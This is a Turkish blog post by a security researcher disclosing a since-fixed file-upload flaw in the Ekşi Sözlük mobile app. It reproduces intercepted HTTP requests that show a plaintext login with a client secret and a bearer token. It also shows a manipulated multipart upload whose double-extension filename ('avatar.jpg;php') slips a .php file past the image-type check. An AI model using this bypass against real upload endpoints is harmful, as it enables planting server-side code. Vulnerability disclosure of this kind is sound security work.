Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Ekşi Sözlük App Vulnerability

Ekşi okuru ve sıkı yazarı olarak mobil uygulamasının çıktığını ve profil fotoğrafı yükleme özelliğinin geldiğini bu şekilde öğrendim. Sakarya’da kampta olmam sebebiyle gününde bakamadım ama az çok bu zafiyetin var olabileceğini tahmin etmiştim ve doğru da çıktı.

Öncelikle uygulamayı incelerken parola bilgilerinin şifrelenmeden gitmesi dikkatimi çekti.

POST /token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

grant_type=password&username=berk.imran7%40gmail.com&password=blablabla&client_secret=6x8a95c-6xa28-x59ea-9d56-569532x

Profil fotoğrafı yükleme alanından önce normal bir fotoğraf yükledim.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:33:59 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 57
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":true,"Message":"image uploaded successfully."}

Başarılı şekilde yüklendi. Şimdi php yzantılı atmayı deneyelim. Dönen istek bu şekilde.

HTTP/1.1 200 OK
Date: Mon, 10 Jul 2017 18:37:51 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 62
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains

{"Success":false,"Message":"please upload image of type .jpg"}

Giden isteği tekrar manipüle ediyorum.

POST /v1/user/forme/upload/avatar HTTP/1.1
Accept: application/json
Authorization: bearer ixJwjW_kYNfwZhDF1LoHcpfK2wEmqPHUNEdLd7YEIGc59drWUUUeK6L4MBZipwme928Q8FsNsgDn9flYfzxAS63vTEhqkM8mbigPjMjPC4IYdJPzuw0UIGUqT_FYFsFmeNvOaT5ToOTdrTuiHZsU-JreWYzNlWvfg7XkBK-G2vhIdb6Gc4_odnsg_kqcjJGSObiIM_g2iqkQuQqrMcGiEOI6mfyWrtvlngWwpZ4eiZe1-mztKHCnrREs_nHePmKd
Content-Type: multipart/form-data; boundary="----MyGreatBoundary"
Content-Length: 25130
Host: api.eksisozluk.com
Connection: close
User-Agent: okhttp/2.3.0

------MyGreatBoundary
Content-Disposition: form-data; name=avatar; filename=avatar.jpg;php; filename*=utf-8''avatar.jpg.php

Ve yükleme başarılı.

Gelelim fotoğrafın nereye yüklendiğini bulmaya. Uygulama üzerinden fotoğrafın adresini öğrenemediğim için tarayıcı üzerinden devam ediyorum.

Doğrulama yapmadığım için haliyle oturum açmadı. Yine proxy aracılığı ile gereken bilgileri veriyorum.

Zafiyet fixlendikten sonra bu yazıyı yazdığım için jpg olarak yükledi.

Burada fotoğrafların direk eksisozluk.com domaininde olmasını ve rootlamaya kadar gitmesini isterdim ama haliyle başka sunucuda çıktı 🙂

Tüm sözlüğe selam olsun 🙂

About Berk İMRAN

Cyber security researcher

Follow Me